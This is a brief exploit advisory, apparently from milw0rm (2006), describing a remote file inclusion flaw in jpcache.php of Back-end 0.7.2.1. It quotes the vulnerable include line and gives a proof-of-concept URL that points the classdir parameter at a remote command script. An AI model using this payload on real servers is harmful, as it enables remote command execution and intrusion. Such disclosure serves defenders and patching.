19 lines
No EOL
487 B
Text
19 lines
No EOL
487 B
Text
# Federico Fazzi, <federico@autistici.org>
|
|
# Back-end = 0.7.2.1 (jpcache.php) Remote command execution
|
|
# 08/06/2006 1:04
|
|
# Bug:
|
|
#
|
|
# jpcache.php: line 40
|
|
#
|
|
# ---
|
|
# $includedir = $_PSL['classdir'] . "/jpcache";
|
|
# ---
|
|
#
|
|
# Proof of concept:
|
|
#
|
|
# Back-end have a default path pre-set on jpcache.php,
|
|
# and cracker can execute a remote command.
|
|
#
|
|
# http://example/[be_path]/class/jpcache/jpcache.php?_PSL[classdir]=http://example/cmd.php?exec=uname
|
|
|
|
# milw0rm.com [2006-06-08] |